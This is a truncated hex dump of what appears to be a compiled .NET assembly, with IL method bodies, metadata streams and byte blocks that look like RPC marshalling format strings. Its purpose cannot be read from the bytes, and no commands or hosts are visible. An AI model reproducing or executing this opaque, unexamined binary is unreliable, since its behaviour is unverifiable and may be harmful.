800070171628A3000006021728A20000062A0B30010010000000000000000228A4000006DE0702288500000ADC2A011000000200000008080007000000001B3005000A0100003800001103288600000A0A047E2200000A81320000017E2200000A0B047E2200000A8132000001288400000A1E33180228AA000006021628A900000606040528D20000060B2B771202FE1532000001088C3200000119288700000A0D1203288800000A13040216198D3200000113061106168F320000010681320000011106178F32000001110481320000011106188F3200000105737100000A8132000001110628AB0000060B041104288900000A8132000001DE081203288A00000ADCDE2C267242800070288B00000A13071207724C680070289300000A281700000A28CE00000A288B00000A1305DE1FDE14067E2200000A288D00000A2C0606288E00000ADC1201288F00000A692A11052A0000012800000200610051B200080000000000001800A4BC002C5C00000102001800D2EA0014000000001B300400B2000000370000117E2200000A0A288400000A1E33170228AA000006021F3828A90000060328CD0000060A2B530371320000010B078C3200000119288700000A0C1202288800000A0D021F36178D3200000113051105168F32000001098132000001110528AB0000060A0309288900000A8132000001DE081202288A00000ADCDE2C26726E800070288B00000A13061206724C680070289300000A281700000A28CE00000A288B00000A1304DE091200288F00000A692A11042A0000011C0000020041002F7000080000000000000600747A002C5C0000011B3007007A010000420000117E2200000A0A0E0516547E2200000A0B288400000A1E33240228AA0000060220F600000028A9000006030412010E040E0528D30000060A38F80000000471320000010C088C3200000119288700000A0D1203288800000A13047E2200000A130511058C3200000119288700000A13061206288800000A13077E2200000A130811088C3200000119288700000A13091209288800000A130A0220EA0000001B8D32000001130C110C168F32000001038132000001110C178F3200000111048132000001110C188F3200000111078132000001110C198F320000010E046E739400000A8132000001110C1A8F32000001110A8132000001110C28AB0000060A041104288900000A81320000011107288900000A0B0E05110A28E800000A54DE161203288A00000A1206288A00000A1209288A00000ADC05020728FF00000651DE2F2605145172A2800070288B00000A130D120D724C680070289300000A281700000A28CE00000A288B00000A130BDE091200288F00000A692A110B2A0000413400000200000097000000870000001E0100001600000000000000000000000A000000350100003F0100002F0000005C000001133004001001000043000011037E2200000A287200000A2C02142A03D060000002289800000A28DC00000AA5600000020A12007BF6010004E08D5E0000020BD061000002289800000A289900000A0C160D3892000000070973F9000006A212007CF7010004288F00000A08095A6A58739400000AD061000002289800000A28DC00000AA561000002130407099A12047CF8010004288F00000A7DF001000407099A12047BFB01000412047BF9010004185B28E200000A7DF101000412047BFB0100047E2200000A288D00000A2C1612047BFA01000416310C12047BFB01000428A60000060917580D0912007BF60100043F61FFFFFF12007BF70100047E2200000A288D00000A2C0C12007BF701000428A60000060328A6000006072A1B3005002B010000440000117E2200000A0A0514517E2200000A0B1202FE152B000002120204289A000006288400000A1E33200228AA0000060220BE00000028A90000060308120128D40000060A388C000000088C2B00000219288700000A0D1203288800000A130407130511058C3200000119288700000A13061206288800000A13070220B4000000198D3200000113091109168F320000010381320000011109178F32000001110481320000011109188F3200000111078132000001110928AB0000060A1107288900000A0BDE0F1203288A00000A1206288A00000ADC050773DD00000A510728A6000006DE2C2672F6800070288B00000A130A120A724C680070289300000A281700000A28CE00000A288B00000A1308DE19DE0E1202FE162B0000026F2000000ADC1200288F00000A692A11082A0001280000020078004CC4000F0000000000001700CCE3002C5C00000102001700FA11010E000000001B3006002B010000450000117E2200000A0A0E047E2200000A8132000001056FD700000A8D2A0000010B0507166FD800000A288400000A1E33210228AA00000602203A01000028A90000060304070E0428D50000060A38A20000000719288700000A0C1202288800000A0D7E2200000A130411048C3200000119288700000A13051205288800000A130602202C0100001A8D3200000113081108168F320000010381320000011108178F3200000104737100000A81320000011108188F320000010981320000011108198F3200000111068132000001110828AB0000060A0E041106288900000A8132000001DE0F1202288A00000A1205288A00000ADCDE2C267242810070288B00000A13091209724C680070289300000A281700000A28CE00000A288B00000A1307DE091200288F00000A692A11072A00011C000002007E0064E2000F0000000000001200E1F3002C5C0000011B3008008F010000420000117E2200000A0A0E0616547E2200000A0B288400000A1E33250228AA00000602200E02000028A900000603040512010E050E0628D60000060A380A0100000471320000010C088C3200000119288700000A0D1203288800000A13047E2200000A130511058C3200000119288700000A13061206288800000A13077E2200000A130811088C3200000119288700000A13091209288800000A130A0220F40100001C8D32000001130C110C168F32000001038132000001110C178F3200000111048132000001110C188F3200000105737100000A8132000001110C198F3200000111078132000001110C1A8F320000010E05737100000A8132000001110C1B8F32000001110A8132000001110C28AB0000060A041104288900000A81320000011107288900000A0B0E06110A28E800000A54DE161203288A00000A1206288A00000A1209288A00000ADC0E04020728FF00000651DE30260E0414517274810070288B00000A130D120D724C680070289300000A281700000A28CE00000A288B00000A130BDE091200288F00000A692A110B2A0041340000020000009800000099000000310100001600000000000000000000000A0000004901000053010000300000005C0000010048000000000000100031040000005C22004000440408010000000000000A0000000200100104000A0048000800080070000C0008000048000000000100080030E00000000038004000440208010000000000001801000012007000040008000048000000000200040032000000000000004000080100000000000000480000000003000400320000000000000040000801000000000000004800000000040004003200000000000000400008010000000000000048000000000500100030400000000024000800470408070100010000000800000016000B010400300013200800460070000C000800004800000000060018003040000000004800400045060803010000000000080000001600580104000800132008007C0048000C000800502110000800700014000800004800000000070014003040000000002C004000460508050000010000000800000016004800040008000B0108006A0010010C00EE0070001000080000480000000008000400320000000000000040000801000000000000004800000000090004003200000000000000400008010000000000000048000000000A0004003200000000000000400008010000000000000048000000000B0004003200000000000000400008010000000000000048000000000C0004003200000000000000400008010000000000000048000000000D001C00304000000000500040004507080301000000000008000000160058010400080048000800080013200C007C00480010000800502114000800700018000800000000000048000000000000200031080000005C2200400044040A0100000000000000000A0000000200100108000A004800100008007000180008000048000000000100100030E0000000003800400044020A01000000000000000018010000120070000800080000480000000002000800320000000000000040000A01000000000000000000480000000003000800320000000000000040000A01000000000000000000480000000004000800320000000000000040000A010000000000000000004800000000050020003040000000002400080047040A0701000100000000000800000016000B0108003000132010004200700018000800004800000000060030003040000000004800400045060A030100000000000000080000001600580108000800132010007800480018000800502120000800700028000800004800000000070028003040000000002C00400046050A0500000100000000000800000016004800080008000B011000660010011800C20070002000080000480000000008000800320000000000000040000A01000000000000000000480000000009000800320000000000000040000A0100000000000000000048000000000A000800320000000000000040000A0100000000000000000048000000000B000800320000000000000040000A0100000000000000000048000000000C000800320000000000000040000A0100000000000000000048000000000D0038003040000000005000400045070A030100000000000000080000001600580108000800480010000800132018007800480020000800502128000800700030000800000000000000000000001208055C1104020030A000001104020030E1000030410000110014001C010200175502000100175500000100055B160308004B5C465C040004001200E0FF5B0606085C5B1114020012001E001D000600015B150006004C00F4FF5C5B1B0304000400F9FF0100085B17030800F0FF02024C00E0FF5C5B1108085C1114020012004C001C010200175506000100175504000100055B16030C004B5C465C080008001200E0FF5B080606085B1B030C001900000001004B5C48490C0000000100080008001200BEFF5B4C00CBFF5B160308004B5C465C040004001200D0FF5B08085B110C085C110082FF1104020030A0000100000000000000001208055C1104020030A000001104020030E1000030410000110014001C010200175502000100175500000100055B1A03100000000800060640365C5B1200DEFF1114020012001E001D000600015B150006004C00F4FF5C5B1B0304000400F9FF0100085B17030800F0FF02024C00E0FF5C5B1108085C11140200120028001A0318000000000008404C00A4FF5C5B21030000190000000100FFFFFFFF00004C00DEFF5C5B1A031000000006000840365B1200DCFF110C085C1100AAFF1104020030A000010000033003006900000000000000203D0200008D2A00000125D019020004289700000A80F201000420590200008D2A00000125D01A020004289700000A80F301000420F30000008D2A00000125D01B020004289700000A80F401000420C70000008D2A00000125D01C020004289700000A80F50100042A000000133007004C000000350000110228AC000006120072BE810070288300000A288400000A1E331902067EFD0100047EFF0100047208820070171628A30000062A02067EFC0100047EFE0100047208820070171628A30000062A0B30010010000000000000000228A4000006DE0702288500000ADC2A011000000200000008080007000000001B30070063010000460000117E2200000A0A03288600000A0B05288600000A0C047E2200000A8132000001288400000A1E33200228AA000006021F2428A90000060304050E040E0528D80000060A38B90000007E2200000A0D098C3200000119288700000A13041204288800000A13050E0471630000028C6300000219288700000A13061206288800000A1307021F221B8D3200000113091109168F320000010781320000011109178F32000001110581320000011109188F320000010881320000011109198F320000011107813200000111091A8F320000010E05737100000A8132000001110928AB0000060A041105288900000A8132000001DE0F1204288A00000A1206288A00000ADCDE2C267224820070288B00000A130A120A724C680070289300000A281700000A28CE00000A288B00000A1308DE32DE27077E2200000A288D00000A2C0607288E00000A087E2200000A288D00000A2C0608288E00000ADC1200288F00000A692A11082A00414C0000020000008100000070000000F10000000F00000000000000000000001F000000E3000000020100002C0000005C000001020000001F000000110100003001000027000000000000001B300400B8000000370000117E2200000A0A288400000A1E331A0228AA00000602203404000028A90000060328CD0000060A2B560371320000010B078C3200000119288700000A0C1202288800000A0D0220FA030000178D3200000113051105168F32000001098132000001110528AB0000060A0309288900000A8132000001DE081202288A00000ADCDE2C267256820070288B00000A13061206724C680070289300000A281700000A28CE00000A288B00000A1304DE091200288F00000A692A11042A011C0000020044003276000800000000000006007A80002C5C0000011B30080002010000470000117E2200000A0A0E04288600000A0B288400000A1E33250228AA00000602200409000028A90000060304050E040E057E2200000A28D90000060A2B790220820800001C8D320000010D09168F3200000103813200000109178F32000001046E739400000A813200000109188F32000001056E739400000A813200000109198F32000001078132000001091A8F320000010E056E739400000A8132000001091B8F320000017E2200000A81320000010928AB0000060ADE2B26728A820070288B00000A13041204724C680070289300000A281700000A28CE00000A288B00000A0CDE1FDE14077E2200000A288D00000A2C0607288E00000ADC1200288F00000A692A082A0000011C000000000E00A8B6002B5C00000102000E00D5E300140000000000000000004800000000000008003200000000000800440108010000000000007000040008000048000000000100180031040000005C08004000460608050000010000000B0000000200100104000A000B00080002000B010C001E0048001000080070001400080000480000000002000800320000000000080044010801000000000000700004000800004800000000030008003200000000000800440108010000000000007000040008000048000000000400080032000000000008004401080100000000000070000400080000480000000005000800320000000000080044010801000000000000700004000800004800000000060008003200000000000800440108010000000000007000040008000048000000000700080032000000000008004401080100000000000070000400080000480000000008000800320000000000080044010801000000000000700004000800004800000000090008003200000000000800440108010000000000007000040008000048000000000A0008003200000000000800440108010000000000007000040008000048000000000B0008003200000000000800440108010000000000007000040008000048000000000C0008003200000000000800440108010000000000007000040008000048000000000D0008003200000000000800440108010000000000007000040008000048000000000E0008003200000000000800440108010000000000007000040008000048000000000F000800320000000000080044010801000000000000700004000800004800000000100008003200000000000800440108010000000000007000040008000048000000001100080032000000000008004401080100000000000070000400080000480000000012000800320000000000080044010801000000000000700004000800004800000000130008003200000000000800440108010000000000007000040008000048000000001400080032000000000008004401080100000000000070000400080000480000000015000800320000000000080044010801000000000000700004000800004800000000160008003200000000000800440108010000000000007000040008000048000000001700080032000000000008004401080100000000000070000400080000480000000018000800320000000000080044010801000000000000700004000800004800000000190008003200000000000800440108010000000000007000040008000048000000001A0008003200000000000800440108010000000000007000040008000048000000001B0008003200000000000800440108010000000000007000040008000048000000001C0008003200000000000800440108010000000000007000040008000048000000001D00080030E00000000038004000440208010000000000001801000036007000040008000048000000001E0008003200000000000800440108010000000000007000040008000048000000001F000800320000000000080044010801000000000000700004000800004800000000200008003200000000000800440108010000000000007000040008000048000000002100080032000000000008004401080100000000000070000400080000480000000022000800320000000000080044010801000000000000700004000800004800000000230008003200000000000800440108010000000000007000040008000048000000002400080032000000000008004401080100000000000070000400080000480000000025000400320000000000000040000801000000000000004800000000260004003200000000000000400008010000000000000048000000002700080032000000000008004401080100000000000070000400080000480000000028000800320000000000080044010801000000000000700004000800004800000000290008003200000000000800440108010000000000007000040008000048000000002A0008003200000000000800440108010000000000007000040008000048000000002B0004003200000000000000400008010000000000000048000000002C0004003200000000000000400008010000000000000048000000002D0004003200000000000000400008010000000000000048000000002E0008003200000000000800440108010000000000007000040008000048000000002F000800320000000000080044010801000000000000700004000800004800000000300008003200000000000800440108010000000000007000040008000048000000003100040032000000000000004000080100000000000000480000000032000400320000000000000040000801000000000000004800000000330008003200000000000800440108010000000000007000040008000048000000003400080032000000000008004401080100000000000070000400080000480000000035000800320000000000080044010801000000000000700004000800004800000000360004003200000000000000400008010000000000000048000000003700040032000000000000004000080100000000000000480000000038000800320000000000080044010801000000000000700004000800004800000000390004003200000000000000400008010000000000000048000000003A0008003200000000000800440108010000000000007000040008000048000000003B0008003200000000000800440108010000000000007000040008000048000000003C0008003200000000000800440108010000000000007000040008000048000000003D0008003200000000000800440108010000000000007000040008000048000000003E0008003200000000000800440108010000000000007000040008000048000000003F0004003200000000000000400008010000000000000048000000004000040032000000000000004000080100000000000000480000000041001C003040000000003C00080046070805000001000000080000003A004800040008004800080008000B000C0002004800100008000B0014003E0070001800080000000000000000480000000000001000320000000000080044010A0100000000000000007000080008000048000000000100300031080000005C0800400046060A0500000100000000000B0000000200100108000A000B00100002000B0118001E0048002000080070002800080000480000000002001000320000000000080044010A01000000000000000070000800080000480000000003001000320000000000080044010A01000000000000000070000800080000480000000004001000320000000000080044010A01000000000000000070000800080000480000000005001000320000000000080044010A01000000000000000070000800080000480000000006001000320000000000080044010A01000000000000000070000800080000480000000007001000320000000000080044010A01000000000000000070000800080000480000000008001000320000000000080044010A01000000000000000070000800080000480000000009001000320000000000080044010A0100000000000000007000080008000048000000000A001000320000000000080044010A0100000000000000007000080008000048000000000B001000320000000000080044010A0100000000000000007000080008000048000000000C001000320000000000080044010A0100000000000000007000080008000048000000000D001000320000000000080044010A0100000000000000007000080008000048000000000E001000320000000000080044010A0100000000000000007000080008000048000000000F001000320000000000080044010A01000000000000000070000800080000480000000010001000320000000000080044010A01000000000000000070000800080000480000000011001000320000000000080044010A01000000000000000070000800080000480000000012001000320000000000080044010A01000000000000000070000800080000480000000013001000320000000000080044010A01000000000000000070000800080000480000000014001000320000000000080044010A01000000000000000070000800080000480000000015001000320000000000080044010A01000000000000000070000800080000480000000016001000320000000000080044010A01000000000000000070000800080000480000000017001000320000000000080044010A01000000000000000070000800080000480000000018001000320000000000080044010A01000000000000000070000800080000480000000019001000320000000000080044010A0100000000000000007000080008000048000000001A001000320000000000080044010A0100000000000000007000080008000048000000001B001000320000000000080044010A0100000000000000007000080008000048000000001C001000320000000000080044010A0100000000000000007000080008000048000000001D00100030E0000000003800400044020A0100000000000000001801000032007000080008000048000000001E001000320000000000080044010A0100000000000000007000080008000048000000001F001000320000000000080044010A01000000000000000070000800080000480000000020001000320000000000080044010A01000000000000000070000800080000480000000021001000320000000000080044010A01000000000000000070000800080000480000000022001000320000000000080044010A01000000000000000070000800080000480000000023001000320000000000080044010A01000000000000000070000800080000480000000024001000320000000000080044010A01000000000000000070000800080000480000000025000800320000000000000040000A01000000000000000000480000000026000800320000000000000040000A01000000000000000000480000000027001000320000000000080044010A01000000000000000070000800080000480000000028001000320000000000080044010A01000000000000000070000800080000480000000029001000320000000000080044010A0100000000000000007000080008000048000000002A001000320000000000080044010A0100000000000000007000080008000048000000002B000800320000000000000040000A0100000000000000000048000000002C000800320000000000000040000A0100000000000000000048000000002D000800320000000000000040000A0100000000000000000048000000002E001000320000000000080044010A0100000000000000007000080008000048000000002F001000320000000000080044010A01000000000000000070000800080000480000000030001000320000000000080044010A01000000000000000070000800080000480000000031000800320000000000000040000A01000000000000000000480000000032000800320000000000000040000A01000000000000000000480000000033001000320000000000080044010A01000000000000000070000800080000480000000034001000320000000000080044010A01000000000000000070000800080000480000000035001000320000000000080044010A01000000000000000070000800080000480000000036000800320000000000000040000A01000000000000000000480000000037000800320000000000000040000A01000000000000000000480000000038001000320000000000080044010A01000000000000000070000800080000480000000039000800320000000000000040000A0100000000000000000048000000003A001000320000000000080044010A0100000000000000007000080008000048000000003B001000320000000000080044010A0100000000000000007000080008000048000000003C001000320000000000080044010A0100000000000000007000080008000048000000003D001000320000000000080044010A0100000000000000007000080008000048000000003E001000320000000000080044010A0100000000000000007000080008000048000000003F000800320000000000000040000A01000000000000000000480000000040000800320000000000000040000A010000000000000000004800000000410038003040000000003C00080046070A0500000100000000000800000036004800080008004800100008000B00180002004800200008000B0028003A00700030000800000000001208255C1104020030A0000011000E001B000100190000000100015B160308004B5C465C040004001200E6FF5B08085B1104020030E1000030410000120048001B01020019000C000100065B160314004B5C465C100010001200E6FF5B0606080808085B1B0314001900080001004B5C4849140000000100100010001200C2FF5B4C00C9FF5B160310004B5C465C0C000C001200D0FF5B080808085B000000001208255C1104020030A0000011000E001B000100190000000100015B1A031000000006000840365B1200E6FF1104020030E1000030410000120038001B01020019000C000100065B1A03180000000A000606080808365C5B1200E2FF21030000190008000100FFFFFFFF00004C00DAFF5C5B1A0318000000080008080840365B1200DAFF000003300300690000000000000020CB0800008D2A00000125D01D020004289700000A80FC010004204F0900008D2A00000125D01E020004289700000A80FD010004209F0000008D2A00000125D01F020004289700000A80FE01000420870000008D2A00000125D020020004289700000A80FF0100042A00000042534A4201000100000000000C00000076322E302E35303732370000000005006C0000009C460000237E000008470000C444000023537472696E677300000000CC8B0000FC82000023555300C80E0100100000002347554944000000D80E01003812000023426C6F62000000000000000200000157FFA33D090A000000FA25330016000001000000820000007C000000220200000F0100007B02000001000000F30000007500000029000000240000002E0000001300000006000000470000000200000004000000080000000C0000000700000058000000140000000100000003000000580000000100000000000A0001000000000006000406FD0506000B06FD0506001506FD0506002B061A0606003606FD0506004806FD0506004407250706008A0B6F0B06001B0DFF0C0600090EFD050600610E25070600580FFD050600650FFD050600A4119A11060099128D1206005B1441140A0076146B140600D614411406003416FD050600BE2241140600FB23250706000E2425070600F72525070600152625070600E128FD0506001131FE306B00253100000600543134310600743134310600923125070E00D931BE310E00E431BE310600FA3125070600103225070A001B326B140A002D326B140A003C326B140A0054326B14060064329A1106007D329A11060088329A1106009132FD050600AD32FD050600BB32FD050600DC3241140600ED324114060009339A110A00463330330A005133303306006D33FD050A007933FE300600D133FD050600D733FD050600DE339A110600E9339A110600F333FF0C06001534FD0506004834383406005134383406007E34FD05060086349A110E009034BE310600AF34FD050A00E134C23406001635FD0506002F358D12060057356F0B2300643500000A008935C2340600BC35FD050600C7356F0B0600EB3538340A000636FE300600AE369A110600CD369A110A000437EE360A002B37FE300A008937FE300A00AC37FE300600F0379A1106000F389A1106003C38343106006A3825070A009338EE360600A2381A060600B3381A060600CC381A060600EC38FD05060014391A060600BD3925070600043AFD0506002E3A250706003B3AFD0506001A3B34310600293BFD050600CC23FD050600C23BFD050600F93B9A110600023C9A1106001C3C9A110600453C9A1106007D3CFD050600993C9A110600D83C9A110600FE3CEE3C0600313DFD050600553D373D0600733D373D0600823D41140600AE3D9A110A00E73DC93D0A00EC3DC93D0A00F63DC93D0A000A3EC93D0A00183EC93D0A00413E6B140A00623E6B140A00813EC93D0600193F1A0606007E3FEE3C0600BC3F983F0600D93F983F0600E53F983F0A000040FE3006003E40224006005D4022400600AE40224006000F41250706002441FD0506003341FE3000000000010000000000010001000100100019002E000500010001000A011100390000000900010006000A01110053000000090002000600000010005F002E0005000A0006000000100067002E0005000A0008000000100070002E0005000A000B00010010007A00000005000A001100000010008B002E0005000A001300020100009B0000000D000A00210002010000AF0000000D001800210002010000BC0000000D002400210002010000CA0000000D002A0021000A011000D50000000900350021000D011000E90000000900390021000A0110000301000009003F002100000010000F012E000500510021000000100015012E000500510024000000100019012E00050051002600000010001E012E00050051002A000A011000250100000900510039000A011000360100000900530039000A0110004A0100000900550039000A011000D50000000900570039000A0111000301000009005B0039000A0110004F01000009006D0039000000100063012E001100700039000000100075012E00050070003A00030100007E010000150080004C00030100008A0100001500800050000801100095012E0009008000540008011000A8012E0009008200540008011000B4012E0009008400550008011000CA012E0009008600550008011000DF012E0009009000570000001000EE012E000500A400580000001000F6012E000500A40068000A0110004F0100000900A4007A000A011100030100000900A7007A000A011000D50000000900B9007A000100100000020E020500BD007A0002010000190200000D00C7009A000A011000260200000900D1009A0005010000350200000D00D4009D000D011100400200000900DD009D000D0111004F0200000900E8009D000D0110005C0200000900EB009F000D011000720200000900F1009F000D011000880200000900F3009F000D011000A50200000900F5009F000D011000C20200000900F8009F0015011000DF0200000900FA009F000D011000F7020000090000019F000A01100012030000090002019F000A01100026030000090005019F000A01110039030000090008019F0002010000500300000D0011019F000A01110062030000090024019F0005010000750300000D004C019F000D0110008A030000090054019F00010010009B03B20305005C019F00010100001902B2030D005E01A00001001000C103B20305006901A00081001000D303B20305006D01A1000B0110009501000009007C01AD000B011000DA03000009007E01AD000B011000A801000009008001AD000B011000B401000009008401AF000B011000CA01000009008601AF000B011000DF01000009009001B100030100007E0100001500A401B200030100008A0100001500A401B60003010000F70300001500A401BA0003010000FC0300001500A401BE00010010000304B2030001A401C2000D011000070400000900A801CC000B0110001F0400000900AE01CC000D0110003D0400000900B201CC000B011000530400000900B401CC000B011000700400000900B701CC000B011000880400000900BB01CC000B0110009F0400000900BD01CC00000010000002B2030500C201CC000D011100B50400000900C201E3000A011000CD0400000900C901E30001001000DE04B2030500CD01E30001010000EC04B2030D00D501E40001001000FE04B2030001DC01E4000D011000030500000900E001E9000B011100210500000900E201E900010100003305B2030D00EA01E900010010004505B2030500ED01E90002010000570500001500F001F500010010006105B2030500F001F900010010007805B2030001F201FA000B0110007D0500000900F60104010B011000960500000900F801040101001000AC05B2030001FC0104010A011100B1050000090000020A010A011100C3050000090002020A010A011100DE050000090008020A01030110000E37000005000C020A0100000000A43A000005000D020C0113010000E93A0000090021020C01130100004C3B0000090021020C01130100007D3B0000090021020C0103011000D73E0000050021020C0103011000443F0000050022020E011301000056410000090023021001130100008841000009002302100113010000BA41000009002302100113010000EC410000090023021001130100004E420000090023021001130100007F42000009002302100113010000B042000009002302100113010000E2420000090023021001130100002F4300000900230210011301000061430000090023021001130100009343000009002302100113010000C543000009002302100113010000F7430000090023021001130100002A440000090023021001130100005D440000090023021001130100008F4400000900230210010600950632000600A30632000600AE0632000600BD0635000600D00635000600DB0632000600EA0632000600F20635000600FE06320006061308350056801B08AD0056801F08AD0056802908AD0056803608AD0056804D08AD0056805F08AD0056807208AD005680EA07AD0056808208AD0056808B08AD0056809A08AD005680AB08AD005680C308AD000606130835005680CF08F2005680D908F2005680E808F2005680F408F20056800009F20056801009F20056802209F20056803309F20056803F09F20056805409F20056806209F20006061308350056806D09000156807809000156808409000156808E09000156809D0900010606130835005680A70918015680B40918015680C60918015680DD0918015680F40918015680020A18015680100A180156801F0A180156802E0A18015680430A180106005A0A26010600630A260106006B0A35000600770A35000600820A260106008C0A26010600970A26010600A10A26010600AB0A26010600B50A26010100C20A29010100C50A26010100D00A26010100DA0A26010100E20A29010100E60A29010100EA0A29010100F20A29010100FA0A29010100080B29010100160B29010600270B290106002F0B2C0101003B0B2C010100460B26010100520B260101005C0B26010100670B26010600730C29010610820CA20106008D0CA7010600920C290106009D0C29010600A50C350006005A0A26010600630A260106006B0A35000600770A35000600C20A35000600C50A32000600D00A32000600DA0A32000600E20A35000600E60A35000600EA0A35000600F20A35000600FA0A35000600080B35000600AE0C35000600270B350006002F0BAB010600BE0CAB010600460B26010600520B260106005C0B26010600CA0C26010600D40C35000600DC0C26010600F00C35001100A50DDE011100BE0DDE011100D70DDE011100F00DDE0101000E0EE2010100350EDE0101004B0EDE0101006A0EEE010100750EEE010100820EEE010100870EEE010100940EEE010100A40E32000100AD0EF2010100C40EF6010600D70E29010600890FAB010600940FAB010600A00F2C010600AD0F2C010600BA0FE2010600C50F55020600D30F29010600DA0F5A020600E60F5A020600F50F260106000310290106001B10260106002E10260106003710260106004710290116004D10E20106005810260106007010260106007C1026010600841026010600941026010600AB1026010600C71026010600D41026010600E31026010600F01035000600FD10290106000511260106001711350006002311260106003411260106004A11260106005D1126010600641126010600741126010600841126010600D40C35000600391326010600F00C35000600C20A35000600C50A32000600D00A32000600DA0A32000600E20A35000600E60A35000600EA0A35000600F20A35000600FA0A35000600080B35000600AE0C35000600270B350006002F0BAB010600BE0CAB010600460B26010600520B260106005C0B26010600CA0C260106005A0A26010600630A260106006B0A35000600770A350051804E13350051806813350051807E13350051809C1335005180B51335005180CE1335005180E713350051800014350051800914350051802314350006061308350056808316240456808F16240456809C1624045680AA1624045680B71624045680CD1624045680E31624045680F21624045680011724040600D30F2C01060011172C0101001F17260106061308290156804217410456804D17410456805A1741045680671741045680711741045680831741045680961741045680AA1741040600BB1732000610CA1741040600D61732000610E41735000610F717350006100718350006001B18320006002718320006003518320006104718350006005718260106007218320006007F1829010600891832000600D30F29010600951826010600A31861040600920C29010600AE1826010600C11826010300DA1861040300DF1826010600E31829010600EF1826010600DF1826010600F71861040600FF1861040600D30F290106000B19260106004710290106001219290106002219660406002719610406003419690406003F196E040600EF18350006004419260106004C1924040600DA18610406005019350006004C19240406005C19290106005019350006106719320006107C1932000600941929010600B019E2010610BB1932000610C61932000600471029010610D41932000610DF1932000606130829015680EE1973045680031A73045680211A73045680401A73045680561A73045680661A73045680791A73045680881A73045680981A73045680AD1A73045680C21A73045680DD1A73045680EB1A73045680FF1A730456800F1B730456801E1B73045680311B73045680451B730406005D1B66040600711B660406007F1B660406008C1B66040600A51B66040600C11B66040600D91B66040600F31B66040600041C66040600141C660406002E1C660406004B1C66040600641C660406007F1C29010600991C29010600B41C29010600C31C29010600D81C29010600E11C29010600EF1C29010600FD1C290106000D1D29010600231D290106002D1D290106003C1D290106004B1D290106005A1D290106006A1D29010600781D29010600811D29010600901D290106009B1D29010600A81D29010600B91D29010600CA1D29010600DB1D29010600ED1D29010600FA1D29010600031E29010600121E29010606130829015680221E91045680361E91045680501E91045680641E91045680761E910456808C1E91045680A51E91040610A91E32000610BB1E32000600471029010600C91E29010600D51E29010600DF1E29010600EF1E26010600B019E2010600BB1932000600EF1E9B04060613083500568083169F0456808F169F0456809C169F045680AA169F045680B7169F045680CD169F045680E3169F045680F2169F04568001179F045680F91E9F040600BB1932000600EF1E9B040600061F320006004C199F040100350EDE0101004B0EDE0101006A0EEE010100750EEE010100820EEE010100870EEE010100940EEE010100151FEE010100A40E32000100231FA9040100301FAE040100AD0EB3040100C40EB8040600D70E290101006C1FCC040600890FAB010600940FAB010600140F26010600651F26010600A00F2C010600AD0F2C0136009B1FD3043600AD1FD3040600BA0FE2010600C50FD3040600D30F29010600DA0FD8040600E60FD8040600F50F260106000310290106001B10260106002E10260106003710260106004710290136004D10E20106005810260106007010260106007C1026010600841026010600941026010600AB1026010600C71026010600D41026010600E31026010600F01035000600FD10290106000511260106001711350006002311260106003411260106004A11260106005D1126010600641126010600741126010600841126011100A50DDE011100BE0DDE011100D70DDE011100F00DDE010600D30F29010600951826010600A31826010600920C29010600AE1826010600C11826010600D30F2C01060011172C0106001F1726010600EF1E26010600EF1829010600632026010600EF18290106004419260106006B2029010600D30F2C01060011172C0106001F1726010600DF1826010600EF18290106007620260106004C1926010600D30F2C01060011172C0106001F1726010600501929010610D52032000600DA2035000610E52032000600EC2035000610F92032000600022135000600471035000600FD10350006001121350006001E21350006002F2135000600A91E32000600BB1E3200060047100D060600C91E35000600D51E35000600DF1E35000600EF1E9B040600B019E2010606130835005680221E0D065680361E0D065680501E0D065680641E0D065680761E0D0656808C1E0D061100A50DDE011100BE0DDE011100D70DDE011100F00DDE010600792135000600441926010600A91E26010600BB1E26010600471035000600C91E35000600D51E35000600DF1E35000600EF1E26010600B019E201060613083500568085212D0656808A212D0601004E22650601007122320001008922290106005C1966040600DA1832001100A50DDE011100BE0DDE011100D70DDE011100F00DDE0106006423290106000B19260106005C1926010600D30F2C01060011172C0106001F1726011100A50DDE011100BE0DDE011100D70DDE011100F00DDE010100BD2335000100C32326010100CC232C010100D1232C010100820A29010100970A29010100DB2329010100E12326010100FD10290101002E1029010100DB2329010100E923E0060600213768091301063BBA0A1301693BC90A13019A3BCE0A1301AE3BCE0A130174419D101301A641A2101301D841A71013010A42AC1013016B42021113019C4207111301CE420C1113010043111113014D43C41113017F43C9111301B143CE111301E343D31113011644F21113014944F71113017B44FC111301AD4401120600EA3E26010600EA3E2601000000008000912054060A00010000000000800091205F0614000500502000000000860077061F000A00CC200000000086007F0627000E001D210000000086188F062E001100282100000000960010073800110054210000000086188F062E0013005C2100000000960014073E00130020220000000096002107380015004A220000000086188F062E00170000000000800091204F07440017005422000000009600610750001E007C22000000009600710738001E0030230000000096007A0754002000B425000000009600210754002100DA250000000086188F062E002200E425000000009600830754002200E32A0000000086188F062E00230000000000800096208B075900230000000000800096209707600026000000000080009620A60769002B000000000080009620B907730030000000000080009620C4077B0033000000000080009620D107820036000000000080009620DE07870037000000000080009620EA078C003800EC2A000000009600F8079E004200382B0000000096000508A40043006C2B000000009600210738004500FC2C000000009600090838004700942E0000000096000E0854004900F42F0000000086188F062E004A00FC2F00000000960021072F014A001031000000009600910B33014A00C9490000000086188F062E004A00D44900000000960021072F014A004F4B0000000086188F062E004A00574B000000009600210754004A006F4B000000009600090838004B00984B000000009600980B3B014D008C4D0000000086188F062E004F00944D000000009600A30B38004F009C51000000009600B10B54005100D055000000009100BF0B410152005856000000009100C90B410153000000000080009620D90B460154000000000080009120E20B510159000000000080009120ED0B5C0160000000000080009120FD0B6801680000000000800091200E0C87006A000000000080009620DE0787006B000000000080009620290C6E016C0000000000800096203F0C7A01720000000000800096204A0C8601760000000000800096205F0C8F017A0094560000000086188F062E0085009C560000000083188F06AE01850000000000800091202A0DB40186000000000080009120460D7B0088000000000080009120580DBB018B000000000080009120670DC1018C0000000000800091207F0DCC0192000000000080009320930DD3019500AC560000000086188F062E009B00445700000000C4001A0E2E009B007057000000008600230EE6019B00C858000000008400E20EFA019E009759000000008400F10E2E00A400D059000000009400FA0E0702A400E559000000009400090F0C02A500F059000000008400140F1102A600E85A000000008400190F1602A700F65A0000000084002D0F1B02A800045B0000000084003B0F1F02A800F45B0000000091189D3A2F01AA0000000000030086188F062602AA00000000000300C601510F1602AC00000000000300C601730F2C02AD00000000000300C6017F0F3502B00000000000030086188F062602B100000000000300C601510F3B02B300000000000300C601730F4002B400000000000300C6017F0F4902B7005D5C0000000086188F064F02B800705C0000000086188F065F02BA002C5D0000000091189D3A2F01BD00685D0000000086188F066702BD00405E0000000096008E116F02C100005F0000000096002107540